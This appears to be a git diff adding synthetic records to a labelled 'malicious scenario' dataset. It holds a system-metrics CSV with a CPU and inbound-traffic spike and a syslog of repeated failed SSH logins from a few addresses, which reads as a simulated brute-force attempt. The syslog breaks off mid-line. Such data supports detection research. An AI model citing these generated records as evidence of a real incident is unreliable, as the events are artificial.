oracle from 172.16.95.167 port 54348 ssh2 +Aug 26 10:05:42 sshd[1024]: Invalid user guest from 172.16.22.167 port 32359 +Aug 26 10:05:44 sshd[1024]: Failed password for admin123 from 172.16.112.33 port 34101 ssh2 +Aug 26 10:05:41 sshd[1024]: Failed password for root from 172.16.95.167 port 46477 ssh2 +Aug 26 10:05:49 sshd[1024]: Failed password for test from 172.16.112.33 port 28241 ssh2 +Aug 26 10:05:47 sshd[1024]: Invalid user admin from 172.16.112.33 port 52080 +Aug 26 10:05:48 sshd[1024]: Failed password for oracle from 172.16.95.167 port 53050 ssh2 +Aug 26 10:05:47 sshd[1024]: Invalid user user from 172.16.147.158 port 30802 +Aug 26 10:06:00 systemd[1]: Starting daily clean up activities... +Aug 26 10:06:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:06:40 systemd[1]: Starting daily clean up activities... +Aug 26 10:07:20 systemd[1]: Starting daily clean up activities... diff --git a/mali_dataset/scenario_7/mali_7_2.csv b/mali_dataset/scenario_7/mali_7_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..17341048d121c0e33347cf2ea4669251eaa49112 --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-09-21T14:00:00Z,13.65,39.23,24.84,0.79,1.5 +2025-09-21T14:00:05Z,8.07,31.44,19.71,0.76,1.05 +2025-09-21T14:00:10Z,9.38,34.6,16.53,1.01,0.78 +2025-09-21T14:00:15Z,9.74,33.18,20.66,0.84,0.91 +2025-09-21T14:00:20Z,8.47,38.21,14.96,0.96,0.86 +2025-09-21T14:00:25Z,6.62,34.08,16.37,0.97,0.56 +2025-09-21T14:00:30Z,9.16,32.23,10.38,1.41,1.0 +2025-09-21T14:00:35Z,12.04,36.39,13.94,1.35,1.84 +2025-09-21T14:00:40Z,14.25,38.39,12.52,1.05,1.89 +2025-09-21T14:00:45Z,5.75,34.37,16.05,1.01,0.88 +2025-09-21T14:00:50Z,12.41,30.78,24.89,1.23,1.95 +2025-09-21T14:00:55Z,5.68,33.62,13.06,1.11,1.21 +2025-09-21T14:01:00Z,8.15,37.2,22.86,1.24,1.75 +2025-09-21T14:01:05Z,5.79,31.13,11.17,1.18,0.91 +2025-09-21T14:01:10Z,8.09,33.11,24.98,1.49,1.22 +2025-09-21T14:01:15Z,7.42,31.01,20.14,1.22,1.27 +2025-09-21T14:01:20Z,5.82,34.47,19.87,0.67,1.21 +2025-09-21T14:01:25Z,6.73,32.17,18.92,1.05,0.91 +2025-09-21T14:01:30Z,7.46,39.15,17.06,1.41,0.86 +2025-09-21T14:01:35Z,13.95,33.14,13.24,0.69,1.72 +2025-09-21T14:01:40Z,6.38,33.85,20.42,0.74,0.6 +2025-09-21T14:01:45Z,14.5,38.8,21.67,0.74,0.69 +2025-09-21T14:01:50Z,13.44,31.63,20.24,0.96,1.15 +2025-09-21T14:01:55Z,11.71,31.26,18.08,0.99,0.9 +2025-09-21T14:02:00Z,8.31,31.66,14.51,1.37,1.82 +2025-09-21T14:02:05Z,8.72,37.11,21.11,16.24,1.85 +2025-09-21T14:02:10Z,19.3,38.4,22.02,19.78,1.79 +2025-09-21T14:02:15Z,25.3,32.79,17.18,27.25,1.61 +2025-09-21T14:02:20Z,33.85,34.49,19.14,19.72,1.98 +2025-09-21T14:02:25Z,34.29,30.86,10.38,19.68,2.37 +2025-09-21T14:02:30Z,41.98,32.25,12.87,23.32,2.62 +2025-09-21T14:02:35Z,43.7,38.85,20.2,22.27,2.09 +2025-09-21T14:02:40Z,54.27,38.39,24.93,29.24,1.76 +2025-09-21T14:02:45Z,58.77,35.91,13.02,12.75,1.62 +2025-09-21T14:02:50Z,61.26,30.96,10.81,10.85,2.91 +2025-09-21T14:02:55Z,71.95,34.52,14.9,11.16,2.51 +2025-09-21T14:03:00Z,74.85,37.06,12.17,27.74,1.86 +2025-09-21T14:03:05Z,75.57,30.83,10.97,24.09,2.17 +2025-09-21T14:03:10Z,76.08,34.99,21.45,20.6,2.12 +2025-09-21T14:03:15Z,81.35,33.3,18.14,25.09,2.42 +2025-09-21T14:03:20Z,82.64,33.84,21.14,25.02,2.5 +2025-09-21T14:03:25Z,87.36,36.78,10.2,27.67,1.62 +2025-09-21T14:03:30Z,91.28,34.89,17.96,20.93,1.47 +2025-09-21T14:03:35Z,87.41,39.37,16.87,26.8,2.11 +2025-09-21T14:03:40Z,90.7,36.64,17.37,29.4,1.79 +2025-09-21T14:03:45Z,94.84,34.84,13.47,16.92,2.4 +2025-09-21T14:03:50Z,87.47,32.65,22.55,18.66,2.19 +2025-09-21T14:03:55Z,90.17,37.33,10.75,12.72,2.36 +2025-09-21T14:04:00Z,86.13,34.7,12.92,14.5,1.51 +2025-09-21T14:04:05Z,91.04,31.02,12.29,12.77,2.77 +2025-09-21T14:04:10Z,80.62,33.99,10.27,20.18,2.21 +2025-09-21T14:04:15Z,82.47,38.14,20.9,17.67,2.95 +2025-09-21T14:04:20Z,75.4,38.27,18.81,29.42,2.46 +2025-09-21T14:04:25Z,71.86,36.72,13.84,17.0,2.53 +2025-09-21T14:04:30Z,72.35,38.91,12.26,25.44,2.1 +2025-09-21T14:04:35Z,62.33,31.66,15.17,17.11,2.6 +2025-09-21T14:04:40Z,63.43,37.52,22.59,26.88,1.79 +2025-09-21T14:04:45Z,53.12,39.45,12.89,14.55,2.77 +2025-09-21T14:04:50Z,53.02,36.18,18.86,20.9,2.43 +2025-09-21T14:04:55Z,39.76,31.78,20.57,19.55,1.66 +2025-09-21T14:05:00Z,35.85,31.19,22.09,11.32,1.3 +2025-09-21T14:05:05Z,29.61,34.96,15.87,28.77,1.44 +2025-09-21T14:05:10Z,18.76,36.64,20.36,28.07,2.46 +2025-09-21T14:05:15Z,18.33,33.72,21.3,23.41,2.1 +2025-09-21T14:05:20Z,7.72,32.37,16.85,23.21,1.93 +2025-09-21T14:05:25Z,9.26,33.14,24.63,1.18,1.47 +2025-09-21T14:05:30Z,6.93,36.74,10.22,1.37,1.63 +2025-09-21T14:05:35Z,13.38,39.69,15.66,0.54,1.37 +2025-09-21T14:05:40Z,10.35,39.31,18.69,1.31,1.9 +2025-09-21T14:05:45Z,11.66,35.41,10.75,0.92,1.03 +2025-09-21T14:05:50Z,10.16,38.99,17.93,1.32,1.08 +2025-09-21T14:05:55Z,13.09,33.95,16.47,0.68,1.31 +2025-09-21T14:06:00Z,14.78,32.19,22.96,0.56,1.78 +2025-09-21T14:06:05Z,14.76,32.78,15.16,0.62,1.96 +2025-09-21T14:06:10Z,11.78,30.7,20.92,1.14,1.64 +2025-09-21T14:06:15Z,6.73,32.09,16.07,1.41,0.99 +2025-09-21T14:06:20Z,12.19,33.68,14.75,0.93,1.17 +2025-09-21T14:06:25Z,8.06,38.42,21.79,1.49,0.82 +2025-09-21T14:06:30Z,10.88,30.37,14.06,1.04,1.05 +2025-09-21T14:06:35Z,11.58,31.53,18.42,1.24,1.55 +2025-09-21T14:06:40Z,14.0,30.16,18.01,0.95,1.34 +2025-09-21T14:06:45Z,6.46,35.63,24.93,1.39,1.22 +2025-09-21T14:06:50Z,6.67,33.31,18.88,0.54,1.47 +2025-09-21T14:06:55Z,13.83,32.11,12.29,1.18,1.16 +2025-09-21T14:07:00Z,12.96,30.62,12.89,1.13,0.99 +2025-09-21T14:07:05Z,5.57,31.33,18.73,0.94,1.07 +2025-09-21T14:07:10Z,7.29,32.9,12.66,1.1,0.64 +2025-09-21T14:07:15Z,9.2,38.95,24.56,1.31,0.55 +2025-09-21T14:07:20Z,8.52,35.17,17.81,0.59,1.92 +2025-09-21T14:07:25Z,8.77,37.42,18.1,1.28,1.43 diff --git a/mali_dataset/scenario_7/mali_7_2.log b/mali_dataset/scenario_7/mali_7_2.log new file mode 100644 index 0000000000000000000000000000000000000000..89408b563a528d3ed30fdb15c1d68fa04b12dc70 --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_2.log @@ -0,0 +1,547 @@ +Sep 21 14:00:00 CRON[16658]: (root) CMD ( /usr/lib/sa/sa1 1 1 ) +Sep 21 14:00:50 sshd[13429]: Accepted publickey for sys-monitor from 10.0.8.12 port 49152 ssh2 +Sep 21 14:01:15 sshd[25200]: Received disconnect from 10.0.8.12 port 49152:11: disconnected by user +Sep 21 14:01:40 CRON[7237]: (root) CMD ( /usr/lib/sa/sa1 1 1 ) +Sep 21 14:02:05 sshd[21163]: Failed password for invalid user admin from 203.0.113.55 port 48747 +Sep 21 14:02:05 sshd[21163]: Failed password for invalid user backup from 203.0.113.56 port 19017 +Sep 21 14:02:05 sshd[21163]: Failed password for invalid user user from 203.0.113.55 port 50196 +Sep 21 14:02:05 sshd[21163]: Failed password for invalid user webmaster from 203.0.113.58 port 35865 +Sep 21 14:02:06 sshd[21163]: Failed password for webmaster from 203.0.113.55 port 33476 ssh2 +Sep 21 14:02:07 sshd[21163]: Failed password for ec2-user from 203.0.113.55 port 21149 ssh2 +Sep 21 14:02:07 sshd[21163]: Failed password for invalid user ec2-user from 203.0.113.58 port 57608 +Sep 21 14:02:08 sshd[21163]: Failed password for invalid user postgres from 203.0.113.58 port 10985 +Sep 21 14:02:08 sshd[21163]: Failed password for invalid user ubuntu from 203.0.113.55 port 45236 +Sep 21 14:02:08 sshd[21163]: Failed password for invalid user user from 203.0.113.55 port 11454 +Sep 21 14:02:09 sshd[21163]: Failed password for invalid user oracle from 203.0.113.56 port 30681 +Sep 21 14:02:09 sshd[21163]: Failed password for postgres from 203.0.113.55 port 50336 ssh2 +Sep 21 14:02:10 sshd[10926]: Failed password for invalid user guest from 203.0.113.56 port 51015 +Sep 21 14:02:10 sshd[10926]: Failed password for mssql from 203.0.113.56 port 45548 ssh2 +Sep 21 14:02:12 sshd[10926]: Failed password for invalid user oracle from 203.0.113.56 port 65204 +Sep 21 14:02:12 sshd[10926]: Failed password for service from 203.0.113.55 port 12570 ssh2 +Sep 21 14:02:12 sshd[10926]: Failed password for service from 203.0.113.56 port 65164 ssh2 +Sep 21 14:02:12 sshd[10926]: Failed password for sqladmin from 203.0.113.56 port 29488 ssh2 +Sep 21 14:02:13 sshd[10926]: Failed password for invalid user guest from 203.0.113.56 port 14611 +Sep 21 14:02:13 sshd[10926]: Failed password for postgres from 203.0.113.56 port 40332 ssh2 +Sep 21 14:02:14 sshd[10926]: Failed password for invalid user guest from 203.0.113.58 port 42588 +Sep 21 14:02:14 sshd[10926]: Failed password for mssql from 203.0.113.58 port 20085 ssh2 +Sep 21 14:02:14 sshd[10926]: Failed password for user from 203.0.113.56 port 41298 ssh2 +Sep 21 14:02:15 sshd[11684]: Failed password for invalid user postgres from 203.0.113.58 port 43613 +Sep 21 14:02:15 sshd[11684]: Failed password for postgres from 203.0.113.55 port 53550 ssh2 +Sep 21 14:02:15 sshd[11684]: Failed password for test from 203.0.113.55 port 33719 ssh2 +Sep 21 14:02:16 sshd[11684]: Failed password for invalid user admin from 203.0.113.56 port 31933 +Sep 21 14:02:16 sshd[11684]: Failed password for invalid user backup from 203.0.113.55 port 59077 +Sep 21 14:02:16 sshd[11684]: Failed password for invalid user sqladmin from 203.0.113.56 port 38467 +Sep 21 14:02:16 sshd[11684]: Failed password for oracle from 203.0.113.56 port 42589 ssh2 +Sep 21 14:02:17 sshd[11684]: Failed password for backup from 203.0.113.55 port 18902 ssh2 +Sep 21 14:02:17 sshd[11684]: Failed password for backup from 203.0.113.56 port 50306 ssh2 +Sep 21 14:02:17 sshd[11684]: Failed password for invalid user ec2-user from 203.0.113.58 port 57770 +Sep 21 14:02:18 sshd[11684]: Failed password for invalid user backup from 203.0.113.58 port 35129 +Sep 21 14:02:19 sshd[11684]: Failed password for invalid user test from 203.0.113.56 port 10673 +Sep 21 14:02:20 sshd[21173]: Failed password for invalid user test from 203.0.113.55 port 44633 +Sep 21 14:02:20 sshd[21173]: Failed password for oracle from 203.0.113.55 port 45521 ssh2 +Sep 21 14:02:20 sshd[21173]: Failed password for user from 203.0.113.55 port 43089 ssh2 +Sep 21 14:02:21 sshd[21173]: Failed password for admin from 203.0.113.56 port 48647 ssh2 +Sep 21 14:02:21 sshd[21173]: Failed password for invalid user mssql from 203.0.113.55 port 22460 +Sep 21 14:02:21 sshd[21173]: Failed password for invalid user mssql from 203.0.113.58 port 37823 +Sep 21 14:02:22 sshd[21173]: Failed password for postgres from 203.0.113.55 port 43632 ssh2 +Sep 21 14:02:23 sshd[21173]: Failed password for postgres from 203.0.113.58 port 29936 ssh2 +Sep 21 14:02:23 sshd[21173]: Failed password for test from 203.0.113.56 port 62303 ssh2 +Sep 21 14:02:24 sshd[21173]: Failed password for guest from 203.0.113.55 port 64729 ssh2 +Sep 21 14:02:24 sshd[21173]: Failed password for invalid user ec2-user from 203.0.113.56 port 40810 +Sep 21 14:02:24 sshd[21173]: Failed password for invalid user sqladmin from 203.0.113.58 port 44943 +Sep 21 14:02:25 sshd[14317]: Failed password for admin from 203.0.113.55 port 46792 ssh2 +Sep 21 14:02:25 sshd[14317]: Failed password for invalid user postgres from 203.0.113.58 port 45453 +Sep 21 14:02:25 sshd[14317]: Failed password for user from 203.0.113.55 port 48213 ssh2 +Sep 21 14:02:26 sshd[14317]: Failed password for admin from 203.0.113.58 port 23788 ssh2 +Sep 21 14:02:26 sshd[14317]: Failed password for invalid user user from 203.0.113.58 port 37387 +Sep 21 14:02:27 sshd[14317]: Failed password for guest from 203.0.113.58 port 64440 ssh2 +Sep 21 14:02:27 sshd[14317]: Failed password for invalid user admin from 203.0.113.55 port 44952 +Sep 21 14:02:27 sshd[14317]: Failed password for sqladmin from 203.0.113.56 port 63071 ssh2 +Sep 21 14:02:27 sshd[14317]: Failed password for test from 203.0.113.58 port 24578 ssh2 +Sep 21 14:02:27 sshd[14317]: Failed password for ubuntu from 203.0.113.58 port 44811 ssh2 +Sep 21 14:02:28 sshd[14317]: Failed password for admin from 203.0.113.55 port 35862 ssh2 +Sep 21 14:02:28 sshd[14317]: Failed password for postgres from 203.0.113.56 port 60656 ssh2 +Sep 21 14:02:28 sshd[14317]: Failed password for webmaster from 203.0.113.55 port 63399 ssh2 +Sep 21 14:02:29 sshd[14317]: Failed password for backup from 203.0.113.58 port 16845 ssh2 +Sep 21 14:02:29 sshd[14317]: Failed password for invalid user oracle from 203.0.113.56 port 48354 +Sep 21 14:02:29 sshd[14317]: Failed password for oracle from 203.0.113.58 port 17812 ssh2 +Sep 21 14:02:29 sshd[14317]: Failed password for service from 203.0.113.56 port 35087 ssh2 +Sep 21 14:02:30 sshd[11408]: Failed password for ftpuser from 203.0.113.55 port 45957 ssh2 +Sep 21 14:02:30 sshd[11408]: Failed password for invalid user admin from 203.0.113.56 port 61335 +Sep 21 14:02:30 sshd[11408]: Failed password for ubuntu from 203.0.113.56 port 40480 ssh2 +Sep 21 14:02:32 sshd[11408]: Failed password for invalid user sqladmin from 203.0.113.55 port 10820 +Sep 21 14:02:32 sshd[11408]: Failed password for test from 203.0.113.58 port 12769 ssh2 +Sep 21 14:02:33 sshd[11408]: Failed password for invalid user ftpuser from 203.0.113.58 port 37577 +Sep 21 14:02:33 sshd[11408]: Failed password for postgres from 203.0.113.55 port 31309 ssh2 +Sep 21 14:02:33 sshd[11408]: Failed password for test from 203.0.113.55 port 36132 ssh2 +Sep 21 14:02:34 sshd[11408]: Failed password for ec2-user from 203.0.113.55 port 27445 ssh2 +Sep 21 14:02:35 sshd[2777]: Failed password for invalid user service from 203.0.113.58 port 56825 +Sep 21 14:02:36 sshd[2777]: Failed password for user from 203.0.113.58 port 19056 ssh2 +Sep 21 14:02:37 sshd[2777]: Failed password for invalid user ftpuser from 203.0.113.56 port 56107 +Sep 21 14:02:37 sshd[2777]: Failed password for service from 203.0.113.55 port 36469 ssh2 +Sep 21 14:02:37 sshd[2777]: Failed password for service from 203.0.113.56 port 18026 ssh2 +Sep 21 14:02:38 sshd[2777]: Failed password for service from 203.0.113.58 port 54617 ssh2 +Sep 21 14:02:39 sshd[2777]: Failed password for invalid user ec2-user from 203.0.113.58 port 25007 +Sep 21 14:02:39 sshd[2777]: Failed password for invalid user root from 203.0.113.55 port 48524 +Sep 21 14:02:39 sshd[2777]: Failed password for invalid user service from 203.0.113.58 port 13324 +Sep 21 14:02:39 sshd[2777]: Failed password for mssql from 203.0.113.55 port 37720 ssh2 +Sep 21 14:02:39 sshd[2777]: Failed password for ubuntu from 203.0.113.55 port 45804 ssh2 +Sep 21 14:02:40 sshd[28729]: Failed password for sqladmin from 203.0.113.56 port 18798 ssh2 +Sep 21 14:02:41 sshd[28729]: Failed password for guest from 203.0.113.58 port 47767 ssh2 +Sep 21 14:02:41 sshd[28729]: Failed password for invalid user ftpuser from 203.0.113.56 port 45386 +Sep 21 14:02:41 sshd[28729]: Failed password for invalid user postgres from 203.0.113.55 port 47129 +Sep 21 14:02:41 sshd[28729]: Failed password for invalid user user from 203.0.113.55 port 21094 +Sep 21 14:02:42 sshd[28729]: Failed password for ec2-user from 203.0.113.56 port 41719 ssh2 +Sep 21 14:02:42 sshd[28729]: Failed password for invalid user test from 203.0.113.56 port 55395 +Sep 21 14:02:42 sshd[28729]: Failed password for webmaster from 203.0.113.55 port 47594 ssh2 +Sep 21 14:02:43 sshd[28729]: Failed password for guest from 203.0.113.55 port 14451 ssh2 +Sep 21 14:02:43 sshd[28729]: Failed password for invalid user guest from 203.0.113.56 port 37958 +Sep 21 14:02:44 sshd[28729]: Failed password for admin from 203.0.113.58 port 15240 ssh2 +Sep 21 14:02:44 sshd[28729]: Failed password for backup from 203.0.113.55 port 59092 ssh2 +Sep 21 14:02:44 sshd[28729]: Failed password for guest from 203.0.113.56 port 53270 ssh2 +Sep 21 14:02:44 sshd[28729]: Failed password for invalid user backup from 203.0.113.58 port 31605 +Sep 21 14:02:44 sshd[28729]: Failed password for oracle from 203.0.113.58 port 54261 ssh2 +Sep 21 14:02:45 sshd[8806]: Failed password for guest from 203.0.113.56 port 48104 ssh2 +Sep 21 14:02:45 sshd[8806]: Failed password for invalid user admin from 203.0.113.58 port 51009 +Sep 21 14:02:45 sshd[8806]: Failed password for invalid user oracle from 203.0.113.56 port 19114 +Sep 21 14:02:45 sshd[8806]: Failed password for invalid user ubuntu from 203.0.113.56 port 54536 +Sep 21 14:02:45 sshd[8806]: Failed password for webmaster from 203.0.113.56 port 55506 ssh2 +Sep 21 14:02:46 sshd[8806]: Failed password for user from 203.0.113.58 port 20554 ssh2 +Sep 21 14:02:47 sshd[8806]: Failed password for guest from 203.0.113.58 port 54086 ssh2 +Sep 21 14:02:47 sshd[8806]: Failed password for invalid user sqladmin from 203.0.113.56 port 40907 +Sep 21 14:02:47 sshd[8806]: Failed password for invalid user test from 203.0.113.55 port 51769 +Sep 21 14:02:47 sshd[8806]: Failed password for service from 203.0.113.55 port 49329 ssh2 +Sep 21 14:02:48 sshd[8806]: Failed password for invalid user ec2-user from 203.0.113.58 port 44845 +Sep 21 14:02:49 sshd[8806]: Failed password for invalid user ftpuser from 203.0.113.58 port 42123 +Sep 21 14:02:49 sshd[8806]: Failed password for postgres from 203.0.113.56 port 29573 ssh2 +Sep 21 14:02:50 sshd[11484]: Failed password for guest from 203.0.113.55 port 11786 ssh2 +Sep 21 14:02:50 sshd[11484]: Failed password for service from 203.0.113.55 port 35138 ssh2 +Sep 21 14:02:50 sshd[11484]: Failed password for ubuntu from 203.0.113.56 port 15360 ssh2 +Sep 21 14:02:50 sshd[11484]: Failed password for user from 203.0.113.58 port 56955 ssh2 +Sep 21 14:02:51 sshd[11484]: Failed password for invalid user root from 203.0.113.56 port 20862 +Sep 21 14:02:51 sshd[11484]: Failed password for mssql from 203.0.113.55 port 15374 ssh2 +Sep 21 14:02:51 sshd[11484]: Failed password for webmaster from 203.0.113.56 port 62541 ssh2 +Sep 21 14:02:52 sshd[11484]: Failed password for mssql from 203.0.113.58 port 30677 ssh2 +Sep 21 14:02:53 sshd[11484]: Failed password for invalid user oracle from 203.0.113.55 port 16679 +Sep 21 14:02:53 sshd[11484]: Failed password for invalid user postgres from 203.0.113.56 port 23423 +Sep 21 14:02:53 sshd[11484]: Failed password for invalid user webmaster from 203.0.113.58 port 46160 +Sep 21 14:02:54 sshd[11484]: Failed password for invalid user ftpuser from 203.0.113.55 port 10535 +Sep 21 14:02:54 sshd[11484]: Failed password for invalid user postgres from 203.0.113.58 port 64274 +Sep 21 14:02:55 sshd[6249]: Failed password for oracle from 203.0.113.55 port 25520 ssh2 +Sep 21 14:02:55 sshd[6249]: Failed password for user from 203.0.113.58 port 10933 ssh2 +Sep 21 14:02:56 sshd[6249]: Failed password for invalid user ec2-user from 203.0.113.55 port 50234 +Sep 21 14:02:56 sshd[6249]: Failed password for test from 203.0.113.55 port 30225 ssh2 +Sep 21 14:02:57 sshd[6249]: Failed password for invalid user mssql from 203.0.113.58 port 33844 +Sep 21 14:02:57 sshd[6249]: Failed password for oracle from 203.0.113.58 port 37123 ssh2 +Sep 21 14:02:58 sshd[6249]: Failed password for invalid user ec2-user from 203.0.113.56 port 52714 +Sep 21 14:02:58 sshd[6249]: Failed password for invalid user ftpuser from 203.0.113.58 port 22484 +Sep 21 14:02:58 sshd[6249]: Failed password for invalid user guest from 203.0.113.55 port 50296 +Sep 21 14:02:58 sshd[6249]: Failed password for test from 203.0.113.55 port 30062 ssh2 +Sep 21 14:02:59 sshd[6249]: Failed password for user from 203.0.113.56 port 33293 ssh2 +Sep 21 14:03:00 sshd[15553]: Failed password for admin from 203.0.113.56 port 49196 ssh2 +Sep 21 14:03:00 sshd[15553]: Failed password for invalid user sqladmin from 203.0.113.55 port 11021 +Sep 21 14:03:00 sshd[15553]: Failed password for service from 203.0.113.58 port 63263 ssh2 +Sep 21 14:03:00 sshd[15553]: Failed password for sqladmin from 203.0.113.56 port 30534 ssh2 +Sep 21 14:03:01 sshd[15553]: Failed password for invalid user webmaster from 203.0.113.56 port 55364 +Sep 21 14:03:02 sshd[15553]: Failed password for admin from 203.0.113.55 port 22590 ssh2 +Sep 21 14:03:02 sshd[15553]: Failed password for guest from 203.0.113.55 port 35780 ssh2 +Sep 21 14:03:02 sshd[15553]: Failed password for oracle from 203.0.113.58 port 54192 ssh2 +Sep 21 14:03:02 sshd[15553]: Failed password for postgres from 203.0.113.55 port 62265 ssh2 +Sep 21 14:03:02 sshd[15553]: Failed password for ubuntu from 203.0.113.55 port 11653 ssh2 +Sep 21 14:03:02 sshd[15553]: Failed password for ubuntu from 203.0.113.55 port 42709 ssh2 +Sep 21 14:03:03 sshd[15553]: Failed password for ftpuser from 203.0.113.56 port 57466 ssh2 +Sep 21 14:03:03 sshd[15553]: Failed password for invalid user oracle from 203.0.113.56 port 18351 +Sep 21 14:03:03 sshd[15553]: Failed password for invalid user user from 203.0.113.58 port 38917 +Sep 21 14:03:03 sshd[15553]: Failed password for webmaster from 203.0.113.55 port 44162 ssh2 +Sep 21 14:03:04 sshd[15553]: Failed password for invalid user admin from 203.0.113.56 port 24782 +Sep 21 14:03:04 sshd[15553]: Failed password for invalid user ftpuser from 203.0.113.55 port 12836 +Sep 21 14:03:04 sshd[15553]: Failed password for invalid user sqladmin from 203.0.113.58 port 63302 +Sep 21 14:03:04 sshd[15553]: Failed password for oracle from 203.0.113.56 port 15831 ssh2 +Sep 21 14:03:05 sshd[24604]: Failed password for mssql from 203.0.113.56 port 63145 ssh2 +Sep 21 14:03:06 sshd[24604]: Failed password for invalid user oracle from 203.0.113.55 port 36189 +Sep 21 14:03:06 sshd[24604]: Failed password for invalid user oracle from 203.0.113.58 port 56487 +Sep 21 14:03:06 sshd[24604]: Failed password for invalid user user from 203.0.113.55 port 48915 +Sep 21 14:03:07 sshd[24604]: Failed password for invalid user oracle from 203.0.113.56 port 25202 +Sep 21 14:03:07 sshd[24604]: Failed password for invalid user service from 203.0.113.55 port 32993 +Sep 21 14:03:07 sshd[24604]: Failed password for service from 203.0.113.55 port 19511 ssh2 +Sep 21 14:03:08 sshd[24604]: Failed password for invalid user oracle from 203.0.113.55 port 31411 +Sep 21 14:03:08 sshd[24604]: Failed password for invalid user sqladmin from 203.0.113.55 port 57800 +Sep 21 14:03:09 sshd[24604]: Failed password for guest from 203.0.113.56 port 55237 ssh2 +Sep 21 14:03:10 sshd[18154]: Failed password for backup from 203.0.113.58 port 61118 ssh2 +Sep 21 14:03:10 sshd[18154]: Failed password for invalid user root from 203.0.113.55 port 61160 +Sep 21 14:03:10 sshd[18154]: Failed password for invalid user sqladmin from 203.0.113.58 port 27342 +Sep 21 14:03:10 sshd[18154]: Failed password for sqladmin from 203.0.113.55 port 23666 ssh2 +Sep 21 14:03:11 sshd[18154]: Failed password for invalid user oracle from 203.0.113.56 port 29427 +Sep 21 14:03:11 sshd[18154]: Failed password for invalid user test from 203.0.113.58 port 32699 +Sep 21 14:03:11 sshd[18154]: Failed password for sqladmin from 203.0.113.58 port 54181 ssh2 +Sep 21 14:03:11 sshd[18154]: Failed password for user from 203.0.113.58 port 34730 ssh2 +Sep 21 14:03:12 sshd[18154]: Failed password for invalid user ec2-user from 203.0.113.56 port 41399 +Sep 21 14:03:12 sshd[18154]: Failed password for invalid user ec2-user from 203.0.113.56 port 64681 +Sep 21 14:03:12 sshd[18154]: Failed password for ubuntu from 203.0.113.56 port 16963 ssh2 +Sep 21 14:03:13 sshd[18154]: Failed password for guest from 203.0.113.58 port 59381 ssh2 +Sep 21 14:03:14 sshd[18154]: Failed password for invalid user backup from 203.0.113.55 port 44159 +Sep 21 14:03:15 sshd[13991]: Failed password for invalid user postgres from 203.0.113.58 port 38216 +Sep 21 14:03:15 sshd[13991]: Failed password for invalid user root from 203.0.113.55 port 46364 +Sep 21 14:03:16 sshd[13991]: Failed password for ftpuser from 203.0.113.58 port 20129 ssh2 +Sep 21 14:03:17 sshd[13991]: Failed password for invalid user postgres from 203.0.113.55 port 24220 +Sep 21 14:03:17 sshd[13991]: Failed password for invalid user ubuntu from 203.0.113.55 port 27673 +Sep 21 14:03:17 sshd[13991]: Failed password for ubuntu from 203.0.113.58 port 27655 ssh2 +Sep 21 14:03:18 sshd[13991]: Failed password for invalid user admin from 203.0.113.56 port 19594 +Sep 21 14:03:18 sshd[13991]: Failed password for invalid user admin from 203.0.113.56 port 31423 +Sep 21 14:03:18 sshd[13991]: Failed password for invalid user root from 203.0.113.56 port 32984 +Sep 21 14:03:18 sshd[13991]: Failed password for invalid user sqladmin from 203.0.113.58 port 16789 +Sep 21 14:03:18 sshd[13991]: Failed password for ubuntu from 203.0.113.55 port 53420 ssh2 +Sep 21 14:03:19 sshd[13991]: Failed password for backup from 203.0.113.55 port 42991 ssh2 +Sep 21 14:03:19 sshd[13991]: Failed password for ec2-user from 203.0.113.56 port 29240 ssh2 +Sep 21 14:03:19 sshd[13991]: Failed password for invalid user backup from 203.0.113.58 port 27823 +Sep 21 14:03:19 sshd[13991]: Failed password for invalid user oracle from 203.0.113.55 port 48422 +Sep 21 14:03:19 sshd[13991]: Failed password for invalid user postgres from 203.0.113.55 port 40680 +Sep 21 14:03:19 sshd[13991]: Failed password for root from 203.0.113.56 port 59421 ssh2 +Sep 21 14:03:19 sshd[13991]: Failed password for user from 203.0.113.55 port 61457 ssh2 +Sep 21 14:03:20 CRON[21580]: (root) CMD ( /usr/lib/sa/sa1 1 1 ) +Sep 21 14:03:20 sshd[21680]: Failed password for service from 203.0.113.56 port 17240 ssh2 +Sep 21 14:03:21 sshd[21680]: Failed password for invalid user ec2-user from 203.0.113.58 port 31430 +Sep 21 14:03:21 sshd[21680]: Failed password for postgres from 203.0.113.55 port 14427 ssh2 +Sep 21 14:03:22 sshd[21680]: Failed password for invalid user mssql from 203.0.113.58 port 50362 +Sep 21 14:03:23 sshd[21680]: Failed password for admin from 203.0.113.58 port 47426 ssh2 +Sep 21 14:03:23 sshd[21680]: Failed password for invalid user admin from 203.0.113.56 port 33426 +Sep 21 14:03:23 sshd[21680]: Failed password for invalid user oracle from 203.0.113.55 port 50417 +Sep 21 14:03:23 sshd[21680]: Failed password for invalid user oracle from 203.0.113.56 port 36772 +Sep 21 14:03:23 sshd[21680]: Failed password for invalid user oracle from 203.0.113.56 port 47727 +Sep 21 14:03:23 sshd[21680]: Failed password for mssql from 203.0.113.55 port 43684 ssh2 +Sep 21 14:03:23 sshd[21680]: Failed password for sqladmin from 203.0.113.55 port 63443 ssh2 +Sep 21 14:03:24 sshd[21680]: Failed password for invalid user root from 203.0.113.56 port 34804 +Sep 21 14:03:24 sshd[21680]: Failed password for invalid user service from 203.0.113.55 port 64859 +Sep 21 14:03:24 sshd[21680]: Failed password for sqladmin from 203.0.113.55 port 23357 ssh2 +Sep 21 14:03:25 sshd[6765]: Failed password for ftpuser from 203.0.113.55 port 50623 ssh2 +Sep 21 14:03:25 sshd[6765]: Failed password for invalid user root from 203.0.113.56 port 34743 +Sep 21 14:03:26 sshd[6765]: Failed password for backup from 203.0.113.56 port 65214 ssh2 +Sep 21 14:03:27 sshd[6765]: Failed password for invalid user guest from 203.0.113.55 port 36602 +Sep 21 14:03:27 sshd[6765]: Failed password for invalid user test from 203.0.113.58 port 46192 +Sep 21 14:03:27 sshd[6765]: Failed password for user from 203.0.113.56 port 53766 ssh2 +Sep 21 14:03:28 sshd[6765]: Failed password for invalid user postgres from 203.0.113.56 port 39073 +Sep 21 14:03:29 sshd[6765]: Failed password for guest from 203.0.113.56 port 45220 ssh2 +Sep 21 14:03:30 sshd[8579]: Failed password for invalid user admin from 203.0.113.56 port 16497 +Sep 21 14:03:30 sshd[8579]: Failed password for invalid user test from 203.0.113.58 port 46329 +Sep 21 14:03:31 sshd[8579]: Failed password for backup from 203.0.113.55 port 36029 ssh2 +Sep 21 